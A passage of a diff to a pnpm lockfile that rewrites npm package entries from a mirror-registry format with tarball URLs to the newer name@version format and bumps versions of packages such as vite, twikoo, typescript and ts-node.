sha512-K1faMUvpm/FBxjBXud0LWVAGxmvoPbZbfTCYbSgaaYQaIXI3/TdI7a7ZGA73Zrou6Q8Zmz3oeUTsp/dj+ag2Xw==} + engines: {node: '>=10'} + hasBin: true + dependencies: + '@jridgewell/source-map': 0.3.2 + acorn: 8.7.1 + commander: 2.20.3 + source-map-support: 0.5.21 + dev: true + + /text-extensions@1.9.0: + resolution: {integrity: sha512-wiBrwC1EhBelW12Zy26JeOUkQ5mRu+5o8rpsJk5+2t+Y5vE7e842qtZDQ2g1NpX/29HdyFeJ4nSIhI47ENSxlQ==} + engines: {node: '>=0.10'} + dev: true + + /through2@4.0.2: + resolution: {integrity: sha512-iOqSav00cVxEEICeD7TjLB1sueEL+81Wpzp2bY17uZjZN0pWZPuo4suZ/61VujxmqSGFfgOcNuTZ85QJwNZQpw==} + dependencies: + readable-stream: 3.6.0 + dev: true + + /through@2.3.8: + resolution: {integrity: sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==} dev: true - registry.npmmirror.com/stylis/4.1.3: - resolution: {integrity: sha512-GP6WDNWf+o403jrEp9c5jibKavrtLW+/qYGhFxFrG8maXhwTBI7gLLhiBb0o7uFccWN+EOS9aMO6cGHWAO07OA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/stylis/-/stylis-4.1.3.tgz} - name: stylis - version: 4.1.3 + /tmp@0.0.33: + resolution: {integrity: sha512-jRCJlojKnZ3addtTOjdIqoRuPEKBvNXcGYqzO6zWZX8KfKEpnGY5jfggJQ3EjKuu8D4bJRr0y+cYJFmYbImXGw==} + engines: {node: '>=0.6.0'} + dependencies: + os-tmpdir: 1.0.2 dev: true - registry.npmmirror.com/supports-color/5.5.0: - resolution: {integrity: sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/supports-color/-/supports-color-5.5.0.tgz} - name: supports-color - version: 5.5.0 + /to-fast-properties@2.0.0: + resolution: {integrity: sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==} engines: {node: '>=4'} + dev: true + + /to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} dependencies: - has-flag: registry.npmmirror.com/has-flag/3.0.0 + is-number: 7.0.0 dev: true - registry.npmmirror.com/supports-color/7.2.0: - resolution: {integrity: sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/supports-color/-/supports-color-7.2.0.tgz} - name: supports-color - version: 7.2.0 - engines: {node: '>=8'} + /tr46@1.0.1: + resolution: {integrity: sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==} dependencies: - has-flag: registry.npmmirror.com/has-flag/4.0.0 + punycode: 2.1.1 dev: true - registry.npmmirror.com/supports-preserve-symlinks-flag/1.0.0: - resolution: {integrity: sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz} - name: supports-preserve-symlinks-flag - version: 1.0.0 - engines: {node: '>= 0.4'} + /trim-newlines@3.0.1: + resolution: {integrity: sha512-c1PTsA3tYrIsLGkJkzHF+w9F2EyxfXGo4UyJc4pFL++FMjnq0HJS69T3M7d//gKrFKwy429bouPescbjecU+Zw==} + engines: {node: '>=8'} dev: true - registry.npmmirror.com/temp-dir/2.0.0: - resolution: {integrity: sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/temp-dir/-/temp-dir-2.0.0.tgz} - name: temp-dir - version: 2.0.0 - engines: {node: '>=8'} + /ts-debounce@4.0.0: + resolution: {integrity: sha512-+1iDGY6NmOGidq7i7xZGA4cm8DAa6fqdYcvO5Z6yBevH++Bdo9Qt/mN0TzHUgcCcKv1gmh9+W5dHqz8pMWbCbg==} dev: true - registry.npmmirror.com/tempy/0.6.0: - resolution: {integrity: sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/tempy/-/tempy-0.6.0.tgz} - name: tempy - version: 0.6.0 - engines: {node: '>=10'} - dependencies: - is-stream: registry.npmmirror.com/is-stream/2.0.1 - temp-dir: registry.npmmirror.com/temp-dir/2.0.0 - type-fest: registry.npmmirror.com/type-fest/0.16.0 - unique-string: registry.npmmirror.com/unique-string/2.0.0 + /ts-dedent@2.2.0: + resolution: {integrity: sha512-q5W7tVM71e2xjHZTlgfTDoPF/SmqKG5hddq9SzR49CH2hayqRKJtQ4mtRlSxKaJlR/+9rEM+mnBHf7I2/BQcpQ==} + engines: {node: '>=6.10'} dev: true - registry.npmmirror.com/terser/5.15.1: - resolution: {integrity: sha512-K1faMUvpm/FBxjBXud0LWVAGxmvoPbZbfTCYbSgaaYQaIXI3/TdI7a7ZGA73Zrou6Q8Zmz3oeUTsp/dj+ag2Xw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/terser/-/terser-5.15.1.tgz} - name: terser - version: 5.15.1 - engines: {node: '>=10'} + /ts-node@10.8.2(@types/node@17.0.32)(typescript@4.7.4): + resolution: {integrity: sha512-LYdGnoGddf1D6v8REPtIH+5iq/gTDuZqv2/UJUU7tKjuEU8xVZorBM+buCGNjj+pGEud+sOoM4CX3/YzINpENA==} hasBin: true + peerDependencies: + '@swc/core': '>=1.2.50' + '@swc/wasm': '>=1.2.50' + '@types/node': '*' + typescript: '>=2.7' + peerDependenciesMeta: + '@swc/core': + optional: true + '@swc/wasm': + optional: true dependencies: - '@jridgewell/source-map': registry.npmmirror.com/@jridgewell/source-map/0.3.2 - acorn: registry.npmmirror.com/acorn/8.7.1 - commander: registry.npmmirror.com/commander/2.20.3 - source-map-support: registry.npmmirror.com/source-map-support/0.5.21 + '@cspotcode/source-map-support': 0.8.1 + '@tsconfig/node10': 1.0.9 + '@tsconfig/node12': 1.0.11 + '@tsconfig/node14': 1.0.3 + '@tsconfig/node16': 1.0.3 + '@types/node': 17.0.32 + acorn: 8.7.1 + acorn-walk: 8.2.0 + arg: 4.1.3 + create-require: 1.1.1 + diff: 4.0.2 + make-error: 1.3.6 + typescript: 4.7.4 + v8-compile-cache-lib: 3.0.1 + yn: 3.1.1 dev: true - registry.npmmirror.com/to-fast-properties/2.0.0: - resolution: {integrity: sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz} - name: to-fast-properties - version: 2.0.0 - engines: {node: '>=4'} + /tslib@1.14.1: + resolution: {integrity: sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==} dev: true - registry.npmmirror.com/to-regex-range/5.0.1: - resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/to-regex-range/-/to-regex-range-5.0.1.tgz} - name: to-regex-range - version: 5.0.1 - engines: {node: '>=8.0'} - dependencies: - is-number: registry.npmmirror.com/is-number/7.0.0 + /tslib@2.3.0: + resolution: {integrity: sha512-N82ooyxVNm6h1riLCoyS9e3fuJ3AMG2zIZs2Gd1ATcSFjSA23Q0fzjjZeh0jbJvWVDZ0cJT8yaNNaaXHzueNjg==} dev: true - registry.npmmirror.com/tr46/0.0.3: - resolution: {integrity: sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/tr46/-/tr46-0.0.3.tgz} - name: tr46 - version: 0.0.3 + /tslib@2.6.0: + resolution: {integrity: sha512-7At1WUettjcSRHXCyYtTselblcHl9PJFFVKiCAy/bY97+BPZXSQ2wbq0P9s8tK2G7dFQfNnlJnPAiArVBVBsfA==} dev: true - registry.npmmirror.com/tr46/1.0.1: - resolution: {integrity: sha512-dTpowEjclQ7Kgx5SdBkqRzVhERQXov8/l9Ft9dVM9fmg0W0KQSVaXX9T4i6twCPNtYiZM53lpSSUAwJbFPOHxA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/tr46/-/tr46-1.0.1.tgz} - name: tr46 - version: 1.0.1 - dependencies: - punycode: registry.npmmirror.com/punycode/2.1.1 + /twikoo@1.6.16: + resolution: {integrity: sha512-U+yaZsM2h0WBoju5TKrm1sq+pb0WEzIynS8B/x4g7UMS30YlUbKePYU7nKU2bf00xubZvkbmICKRNy07naZhhQ==} dev: true - registry.npmmirror.com/ts-debounce/4.0.0: - resolution: {integrity: sha512-+1iDGY6NmOGidq7i7xZGA4cm8DAa6fqdYcvO5Z6yBevH++Bdo9Qt/mN0TzHUgcCcKv1gmh9+W5dHqz8pMWbCbg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/ts-debounce/-/ts-debounce-4.0.0.tgz} - name: ts-debounce - version: 4.0.0 + /type-fest@0.16.0: + resolution: {integrity: sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==} + engines: {node: '>=10'} dev: true - registry.npmmirror.com/tslib/2.3.0: - resolution: {integrity: sha512-N82ooyxVNm6h1riLCoyS9e3fuJ3AMG2zIZs2Gd1ATcSFjSA23Q0fzjjZeh0jbJvWVDZ0cJT8yaNNaaXHzueNjg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/tslib/-/tslib-2.3.0.tgz} - name: tslib - version: 2.3.0 + /type-fest@0.18.1: + resolution: {integrity: sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==} + engines: {node: '>=10'} dev: true - registry.npmmirror.com/twikoo/1.6.7: - resolution: {integrity: sha512-jFSKkdpwke0kO8XZIXUJrvq+YpyQ5iAP7L6OOz8zeW4TqGYbzJCfHBpBNiKd59rix21InIpDfmk610mmNyOtHA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/twikoo/-/twikoo-1.6.7.tgz} - name: twikoo - version: 1.6.7 + /type-fest@0.6.0: + resolution: {integrity: sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==} + engines: {node: '>=8'} dev: true - registry.npmmirror.com/type-fest/0.16.0: - resolution: {integrity: sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/type-fest/-/type-fest-0.16.0.tgz} - name: type-fest - version: 0.16.0 - engines: {node: '>=10'} + /type-fest@0.8.1: + resolution: {integrity: sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==} + engines: {node: '>=8'} dev: true - registry.npmmirror.com/type-fest/0.18.1: - resolution: {integrity: sha512-OIAYXk8+ISY+qTOwkHtKqzAuxchoMiD9Udx+FSGQDuiRR+PJKJHc2NJAXlbhkGwTt/4/nKZxELY1w3ReWOL8mw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/type-fest/-/type-fest-0.18.1.tgz} - name: type-fest - version: 0.18.1 - engines: {node: '>=10'} + /type-fest@3.13.0: + resolution: {integrity: sha512-Gur3yQGM9qiLNs0KPP7LPgeRbio2QTt4xXouobMCarR0/wyW3F+F/+OWwshg3NG0Adon7uQfSZBpB46NfhoF1A==} + engines: {node: '>=14.16'} dev: true - registry.npmmirror.com/type-fest/0.6.0: - resolution: {integrity: sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/type-fest/-/type-fest-0.6.0.tgz} - name: type-fest - version: 0.6.0 - engines: {node: '>=8'} + /typescript@4.7.4: + resolution: {integrity: sha512-C0WQT0gezHuw6AdY1M2jxUO83Rjf0HP7Sk1DtXj6j1EwkQNZrHAg2XPWlq62oqEhYvONq5pkC2Y9oPljWToLmQ==} + engines: {node: '>=4.2.0'} + hasBin: true dev: true - registry.npmmirror.com/type-fest/0.8.1: - resolution: {integrity: sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/type-fest/-/type-fest-0.8.1.tgz} - name: type-fest - version: 0.8.1 - engines: {node: '>=8'} + /ua-parser-js@1.0.35: + resolution: {integrity: sha512-fKnGuqmTBnIE+/KXSzCn4db8RTigUzw1AN0DmdU6hJovUTbYJKyqj+8Mt1c4VfRDnOVJnENmfYkIPZ946UrSAA==} dev: true - registry.npmmirror.com/uc.micro/1.0.6: - resolution: {integrity: sha512-8Y75pvTYkLJW2hWQHXxoqRgV7qb9B+9vFEtidML+7koHUFapnVJAZ6cKs+Qjz5Aw3aZWHMC6u0wJE3At+nSGwA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/uc.micro/-/uc.micro-1.0.6.tgz} - name: uc.micro - version: 1.0.6 + /uc.micro@1.0.6: + resolution: {integrity: sha512-8Y75pvTYkLJW2hWQHXxoqRgV7qb9B+9vFEtidML+7koHUFapnVJAZ6cKs+Qjz5Aw3aZWHMC6u0wJE3At+nSGwA==} dev: true - registry.npmmirror.com/unbox-primitive/1.0.2: - resolution: {integrity: sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/unbox-primitive/-/unbox-primitive-1.0.2.tgz} - name: unbox-primitive - version: 1.0.2 + /unbox-primitive@1.0.2: + resolution: {integrity: sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==} dependencies: - call-bind: registry.npmmirror.com/call-bind/1.0.2 - has-bigints: registry.npmmirror.com/has-bigints/1.0.2 - has-symbols: registry.npmmirror.com/has-symbols/1.0.3 - which-boxed-primitive: registry.npmmirror.com/which-boxed-primitive/1.0.2 + call-bind: 1.0.2 + has-bigints: 1.0.2 + has-symbols: 1.0.3 + which-boxed-primitive: 1.0.2 dev: true - registry.npmmirror.com/unicode-canonical-property-names-ecmascript/2.0.0: - resolution: {integrity: sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz} - name: unicode-canonical-property-names-ecmascript - version: 2.0.0 + /unicode-canonical-property-names-ecmascript@2.0.0: + resolution: {integrity: sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==} engines: {node: '>=4'} dev: true - registry.npmmirror.com/unicode-match-property-ecmascript/2.0.0: - resolution: {integrity: sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz} - name: unicode-match-property-ecmascript - version: 2.0.0 + /unicode-match-property-ecmascript@2.0.0: + resolution: {integrity: sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==} engines: {node: '>=4'} dependencies: - unicode-canonical-property-names-ecmascript: registry.npmmirror.com/unicode-canonical-property-names-ecmascript/2.0.0 - unicode-property-aliases-ecmascript: registry.npmmirror.com/unicode-property-aliases-ecmascript/2.0.0 + unicode-canonical-property-names-ecmascript: 2.0.0 + unicode-property-aliases-ecmascript: 2.0.0 dev: true - registry.npmmirror.com/unicode-match-property-value-ecmascript/2.0.0: - resolution: {integrity: sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.0.0.tgz} - name: unicode-match-property-value-ecmascript - version: 2.0.0 + /unicode-match-property-value-ecmascript@2.0.0: + resolution: {integrity: sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw==} engines: {node: '>=4'} dev: true - registry.npmmirror.com/unicode-property-aliases-ecmascript/2.0.0: - resolution: {integrity: sha512-5Zfuy9q/DFr4tfO7ZPeVXb1aPoeQSdeFMLpYuFebehDAhbuevLs5yxSZmIFN1tP5F9Wl4IpJrYojg85/zgyZHQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.0.0.tgz} - name: unicode-property-aliases-ecmascript - version: 2.0.0 + /unicode-property-aliases-ecmascript@2.0.0: + resolution: {integrity: sha512-5Zfuy9q/DFr4tfO7ZPeVXb1aPoeQSdeFMLpYuFebehDAhbuevLs5yxSZmIFN1tP5F9Wl4IpJrYojg85/zgyZHQ==} engines: {node: '>=4'} dev: true - registry.npmmirror.com/unique-string/2.0.0: - resolution: {integrity: sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/unique-string/-/unique-string-2.0.0.tgz} - name: unique-string - version: 2.0.0 + /unique-string@2.0.0: + resolution: {integrity: sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==} engines: {node: '>=8'} dependencies: - crypto-random-string: registry.npmmirror.com/crypto-random-string/2.0.0 + crypto-random-string: 2.0.0 dev: true - registry.npmmirror.com/universalify/2.0.0: - resolution: {integrity: sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/universalify/-/universalify-2.0.0.tgz} - name: universalify - version: 2.0.0 + /unist-util-stringify-position@3.0.3: + resolution: {integrity: sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg==} + dependencies: + '@types/unist': 2.0.6 + dev: true + + /universalify@0.1.2: + resolution: {integrity: sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==} + engines: {node: '>= 4.0.0'} + dev: true + + /universalify@2.0.0: + resolution: {integrity: sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ==} engines: {node: '>= 10.0.0'} dev: true - registry.npmmirror.com/upath/1.2.0: - resolution: {integrity: sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/upath/-/upath-1.2.0.tgz} - name: upath - version: 1.2.0 + /upath@1.2.0: + resolution: {integrity: sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==} engines: {node: '>=4'} dev: true - registry.npmmirror.com/upath/2.0.1: - resolution: {integrity: sha512-1uEe95xksV1O0CYKXo8vQvN1JEbtJp7lb7C5U9HMsIp6IVwntkH/oNUzyVNQSd4S1sYk2FpSSW44FqMc8qee5w==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/upath/-/upath-2.0.1.tgz} - name: upath - version: 2.0.1 + /upath@2.0.1: + resolution: {integrity: sha512-1uEe95xksV1O0CYKXo8vQvN1JEbtJp7lb7C5U9HMsIp6IVwntkH/oNUzyVNQSd4S1sYk2FpSSW44FqMc8qee5w==} engines: {node: '>=4'} dev: true - registry.npmmirror.com/update-browserslist-db/1.0.10_browserslist@4.21.4: - resolution: {integrity: sha512-OztqDenkfFkbSG+tRxBeAnCVPckDBcvibKd35yDONx6OU8N7sqgwc7rCbkJ/WcYtVRZ4ba68d6byhC21GFh7sQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/update-browserslist-db/-/update-browserslist-db-1.0.10.tgz} - id: registry.npmmirror.com/update-browserslist-db/1.0.10 - name: update-browserslist-db - version: 1.0.10 + /update-browserslist-db@1.0.11(browserslist@4.21.9): + resolution: {integrity: sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==} hasBin: true peerDependencies: browserslist: '>= 4.21.0' dependencies: - browserslist: registry.npmmirror.com/browserslist/4.21.4 - escalade: registry.npmmirror.com/escalade/3.1.1 - picocolors: registry.npmmirror.com/picocolors/1.0.0 + browserslist: 4.21.9 + escalade: 3.1.1 + picocolors: 1.0.0 dev: true - registry.npmmirror.com/uri-js/4.4.1: - resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/uri-js/-/uri-js-4.4.1.tgz} - name: uri-js - version: 4.4.1 + /uri-js@4.4.1: + resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} dependencies: - punycode: registry.npmmirror.com/punycode/2.1.1 + punycode: 2.1.1 + dev: true + + /url-polyfill@1.1.12: + resolution: {integrity: sha512-mYFmBHCapZjtcNHW0MDq9967t+z4Dmg5CJ0KqysK3+ZbyoNOWQHksGCTWwDhxGXllkWlOc10Xfko6v4a3ucM6A==} dev: true - registry.npmmirror.com/util-deprecate/1.0.2: - resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/util-deprecate/-/util-deprecate-1.0.2.tgz} - name: util-deprecate - version: 1.0.2 + /util-deprecate@1.0.2: + resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} dev: true - registry.npmmirror.com/uuid/9.0.0: - resolution: {integrity: sha512-MXcSTerfPa4uqyzStbRoTgt5XIe3x5+42+q1sDuy3R5MDk66URdLMOZe5aPX/SQd+kuYAh0FdP/pO28IkQyTeg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/uuid/-/uuid-9.0.0.tgz} - name: uuid - version: 9.0.0 + /uuid@9.0.0: + resolution: {integrity: sha512-MXcSTerfPa4uqyzStbRoTgt5XIe3x5+42+q1sDuy3R5MDk66URdLMOZe5aPX/SQd+kuYAh0FdP/pO28IkQyTeg==} hasBin: true dev: true - registry.npmmirror.com/valid-data-url/3.0.1: - resolution: {integrity: sha512-jOWVmzVceKlVVdwjNSenT4PbGghU0SBIizAev8ofZVgivk/TVHXSbNL8LP6M3spZvkR9/QolkyJavGSX5Cs0UA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/valid-data-url/-/valid-data-url-3.0.1.tgz} - name: valid-data-url - version: 3.0.1 - engines: {node: '>=10'} + /uvu@0.5.6: + resolution: {integrity: sha512-+g8ENReyr8YsOc6fv/NVJs2vFdHBnBNdfE49rshrTzDWOlUx4Gq7KOS2GD8eqhy2j+Ejq29+SbKH8yjkAqXqoA==} + engines: {node: '>=8'} + hasBin: true + dependencies: + dequal: 2.0.3 + diff: 5.1.0 + kleur: 4.1.5 + sade: 1.8.1 + dev: true + + /v8-compile-cache-lib@3.0.1: + resolution: {integrity: sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==} + dev: true + + /validate-npm-package-license@3.0.4: + resolution: {integrity: sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==} + dependencies: + spdx-correct: 3.1.1 + spdx-expression-parse: 3.0.1 dev: true - registry.npmmirror.com/vite/3.1.8: - resolution: {integrity: sha512-m7jJe3nufUbuOfotkntGFupinL/fmuTNuQmiVE7cH2IZMuf4UbfbGYMUT3jVWgGYuRVLY9j8NnrRqgw5rr5QTg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vite/-/vite-3.1.8.tgz} - name: vite - version: 3.1.8 + /vidstack@0.6.13: + resolution: {integrity: sha512-g5wH6Hfc4EQqOI0Mm7qW4D1DWPZfQnlATLZuqpuVAKI8HOz4UGfd1v48MLK9cR+ZfPjVL4/iZLu7YOIdSX3L2g==} + engines: {node: '>=16'} + dependencies: + maverick.js: 0.37.0 + media-captions: 0.0.18 + type-fest: 3.13.0 + dev: true + + /vite@4.3.9(@types/node@17.0.32): + resolution: {integrity: sha512-qsTNZjO9NoJNW7KnOrgYwczm0WctJ8m/yqYAMAK9Lxt4SoySUfS5S8ia9K7JHpa3KEeMfyF8LoJ3c5NeBJy6pg==} engines: {node: ^14.18.0 || >=16.0.0} hasBin: true peerDependencies: + '@types/node': '>= 14' less: '*' sass: '*' stylus: '*' + sugarss: '*' terser: ^5.4.0 peerDependenciesMeta: + '@types/node': + optional: true less: optional: true sass: optional: true stylus: optional: true + sugarss: + optional: true terser: optional: true dependencies: - esbuild: registry.npmmirror.com/esbuild/0.15.14 - postcss: registry.npmmirror.com/postcss/8.4.19 - resolve: registry.npmmirror.com/resolve/1.22.1 - rollup: registry.npmmirror.com/rollup/2.78.1 + '@types/node': 17.0.32 + esbuild: 0.17.19 + postcss: 8.4.25 + rollup: 3.26.2 optionalDependencies: - fsevents: registry.npmmirror.com/fsevents/2.3.2 + fsevents: 2.3.2 dev: true - registry.npmmirror.com/vue-demi/0.12.5_vue@3.2.45: - resolution: {integrity: sha512-BREuTgTYlUr0zw0EZn3hnhC3I6gPWv+Kwh4MCih6QcAeaTlaIX0DwOVN0wHej7hSvDPecz4jygy/idsgKfW58Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/vue-demi/-/vue-demi-0.12.5.tgz} - id: registry.npmmirror.com/vue-demi/0.12.5 - name: vue-demi - version: 0.12.5 + /vue-demi@0.14.5(vue@3.3.4): + resolution: {integrity: 